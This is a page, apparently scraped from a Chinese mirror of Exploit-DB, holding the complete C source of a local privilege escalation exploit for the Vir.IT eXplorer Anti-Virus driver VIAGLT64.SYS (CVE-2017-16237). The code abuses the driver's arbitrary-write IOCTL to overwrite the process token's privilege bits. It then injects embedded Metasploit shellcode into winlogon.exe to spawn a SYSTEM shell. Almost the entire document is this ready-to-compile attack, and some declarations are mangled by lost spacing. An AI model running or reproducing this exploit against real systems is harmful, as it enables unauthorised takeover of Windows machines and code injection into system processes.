Vir.IT eXplorer Anti-Virus 8.5.39 – ‘VIAGLT64.SYS’ Local Privilege Escalation

  • 作者: Parvez Anwar
    日期: 2017-11-01
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/43109/
  • /*
    
    Exploit Title- Vir.IT eXplorer Anti-Virus Arbitrary Write Privilege Escalation
    Date - 1st November 2017
    Discovered by- Parvez Anwar (@parvezghh)
    Vendor Homepage- http://www.tgsoft.it
    Tested Version - 8.5.39
    Driver Version - 1.0.0.11 - VIAGLT64.SYS
    Tested on OS - 64bit Windows 7 and Windows 10 (1709) 
    CVE ID - CVE-2017-16237
    Vendor fix url - n/a
    Fixed Version- 8.5.42
    Fixed driver ver - 1.0.0.12
    
    
    Check blogpost for details:
    
    Exploiting Vir.IT eXplorer Anti-Virus Arbitrary Write Vulnerability
    
    */
    
    
    #include <stdio.h>
    #include <windows.h>
    #include <TlHelp32.h>
    
    #pragma comment(lib,"advapi32.lib")
    
    #define SystemHandleInformation 16
    #define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xc0000004L)
    
    
    typedef unsigned __int64 QWORD;
    
    
    typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO
    {
     ULONG ProcessId;
     UCHAR ObjectTypeNumber;
     UCHAR Flags;
     USHORTHandle;
     QWORD Object;
     ACCESS_MASK GrantedAccess;
    } SYSTEM_HANDLE, *PSYSTEM_HANDLE;
    
    
    typedef struct _SYSTEM_HANDLE_INFORMATION 
    {
     ULONG NumberOfHandles;
     SYSTEM_HANDLE Handles[1];
    } SYSTEM_HANDLE_INFORMATION, *PSYSTEM_HANDLE_INFORMATION;
    
    
    typedef NTSTATUS (WINAPI *_NtQuerySystemInformation)(
     ULONG SystemInformationClass,
     PVOID SystemInformation,
     ULONG SystemInformationLength,
     PULONG ReturnLength);
    
    
    
    
    DWORD getProcessId(char* process)
    {
     HANDLEhSnapShot;
     PROCESSENTRY32pe32;
     DWORD pid;
    
    
     hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    
     if (hSnapShot == INVALID_HANDLE_VALUE) 
     {
     printf("\n[-] Failed to create handle CreateToolhelp32Snapshot()\n\n");
     return -1;
     } 
    
     pe32.dwSize = sizeof(PROCESSENTRY32);
    
     if (Process32First(hSnapShot, &pe32) == FALSE)
     {
     printf("\n[-] Failed to call Process32First()\n\n");
     return -1;
     }
    
     do
     {
     if (stricmp(pe32.szExeFile, process) == 0)
     {
     pid = pe32.th32ProcessID;
     return pid;
     }
     } while (Process32Next(hSnapShot, &pe32));
    
     CloseHandle(hSnapShot);
     return 0;
    }
    
    
    int spawnShell()
    {
    // windows/x64/exec - 275 bytes http://www.metasploit.com
    // VERBOSE=false, PrependMigrate=false, EXITFUNC=thread, CMD=cmd.exe
    
     char shellcode[] =
     "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50" 
     "\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52" 
     "\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a" 
     "\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41" 
     "\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52" 
     "\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48" 
     "\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40" 
     "\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48" 
     "\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41" 
     "\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1" 
     "\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c" 
     "\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01" 
     "\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a" 
     "\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b" 
     "\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00" 
     "\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b" 
     "\x6f\x87\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd" 
     "\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0" 
     "\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff" 
     "\xd5\x63\x6d\x64\x2e\x65\x78\x65\x00";
    
     char* process = "winlogon.exe";
     DWORD pid;
     HANDLEhProcess;
     HANDLEhThread;
     LPVOIDptrtomem;
    
    
     pid = getProcessId(process);
    
     if ((hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid)) == NULL)
     {
     printf("\n[-] Unable to open %s process\n\n", process);
     return -1;
     }
     printf("\n[+] Opened %s process pid=%d with PROCESS_ALL_ACCESS rights", process, pid);
    
     if ((ptrtomem = VirtualAllocEx(hProcess, NULL, 0x1000, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE)) == NULL)
     {
     printf("\n[-] Unable to allocate memory in target process\n\n");
     return -1;
     }
     printf("\n[+] Memory allocated at address 0x%p", ptrtomem);
    
     if (!(WriteProcessMemory(hProcess, (LPVOID)ptrtomem, shellcode, sizeof(shellcode), NULL)))
     {
     printf("\n[-] Unable to write to process memory\n\n");
     return -1;
     }
     printf("\n[+] Written to allocated process memory");
     
     if ((hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)ptrtomem, NULL, 0, NULL)) == NULL)
     {
     CloseHandle(hThread);
     printf("\n[-] Unable to create remote thread\n\n");
     return -1;
     }
     printf("\n[+] Created remote thread and executed\n\n"); 
    
     return 0;
    }
    
    
    
    QWORD TokenAddressCurrentProcess(HANDLE hProcess, DWORD MyProcessID) 
    {
    _NtQuerySystemInformation NtQuerySystemInformation;
    PSYSTEM_HANDLE_INFORMATIONpSysHandleInfo; 
    ULONG i;
    PSYSTEM_HANDLEpHandle;
    QWORD TokenAddress = 0; 
    DWORD nSize = 4096;
    DWORD nReturn; 
    BOOLtProcess;
    HANDLEhToken;
    
    
    if ((tProcess = OpenProcessToken(hProcess, TOKEN_QUERY, &hToken)) == FALSE)
    {
    printf("\n[-] OpenProcessToken() failed (%d)\n", GetLastError());
    return -1;
    }
    
    NtQuerySystemInformation = (_NtQuerySystemInformation)GetProcAddress(GetModuleHandle("ntdll.dll"), "NtQuerySystemInformation");
     	
    if (!NtQuerySystemInformation)
    {
    printf("[-] Unable to resolve NtQuerySystemInformation\n\n");
    return -1;
    }
    
    do
    {
    nSize += 4096;
    pSysHandleInfo = (PSYSTEM_HANDLE_INFORMATION) HeapAlloc(GetProcessHeap(), 0, nSize); 
    } while (NtQuerySystemInformation(SystemHandleInformation, pSysHandleInfo, nSize, &nReturn) == STATUS_INFO_LENGTH_MISMATCH);
    	
    printf("\n[i] Current process id %d and token handle value %u", MyProcessID, hToken);	
    
    for (i = 0; i < pSysHandleInfo->NumberOfHandles; i++) 
    {
    
    if (pSysHandleInfo->Handles[i].ProcessId == MyProcessID && pSysHandleInfo->Handles[i].Handle == hToken) 
    {
    TokenAddress = pSysHandleInfo->Handles[i].Object;	 			
    }
    }
    
    HeapFree(GetProcessHeap(), 0, pSysHandleInfo);
    return TokenAddress;	
    }
    
    
    
    int main(int argc, char *argv[]) 
    {
    
    QWORDTokenAddressTarget; 
    QWORDSepPrivilegesOffset = 0x40;
    QWORDTokenAddress;
    HANDLE hDevice;
    char devhandle[MAX_PATH];
    DWORDdwRetBytes = 0; 
    QWORDinput[3] = {0}; 
    
    
    printf("-------------------------------------------------------------------------------\n");
    printf(" Vir.IT eXplorer Anti-Virus (VIAGLT64.SYS) Arbitrary Write EoP Exploit \n");
    printf(" Tested on 64bit Windows 7 / Windows 10 (1709) \n");
    printf("-------------------------------------------------------------------------------\n");
    
    TokenAddress = TokenAddressCurrentProcess(GetCurrentProcess(), GetCurrentProcessId());
    printf("\n[i] Address of current process token 0x%p", TokenAddress);
    
    TokenAddressTarget = TokenAddress + SepPrivilegesOffset;
    printf("\n[i] Address of _SEP_TOKEN_PRIVILEGES 0x%p will be overwritten", TokenAddressTarget);
    
    input[0] = TokenAddressTarget;
    input[1] = 0x0000000602110000;
    input[2] = 0x0000000000110000;
    
    sprintf(devhandle, "\\\\.\\%s", "viragtlt");
    
    hDevice = CreateFile(devhandle, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING , 0, NULL);
    
    if(hDevice == INVALID_HANDLE_VALUE)
    {
    printf("\n[-] Open %s device failed\n\n", devhandle);
    return -1;
    }
    else 
    {
    printf("\n[+] Open %s device successful", devhandle);
    }	
    
    printf("\n[~] Press any key to continue . . .\n");
    getch();
    
    DeviceIoControl(hDevice, 0x8273007C, input, sizeof(input), NULL, 0, &dwRetBytes, NULL); 
    
    printf("[+] Overwritten _SEP_TOKEN_PRIVILEGES bits\n");
    CloseHandle(hDevice);
    
    printf("[*] Spawning SYSTEM Shell");
    spawnShell();
    
    return 0;
    }
    
    
    PowerShell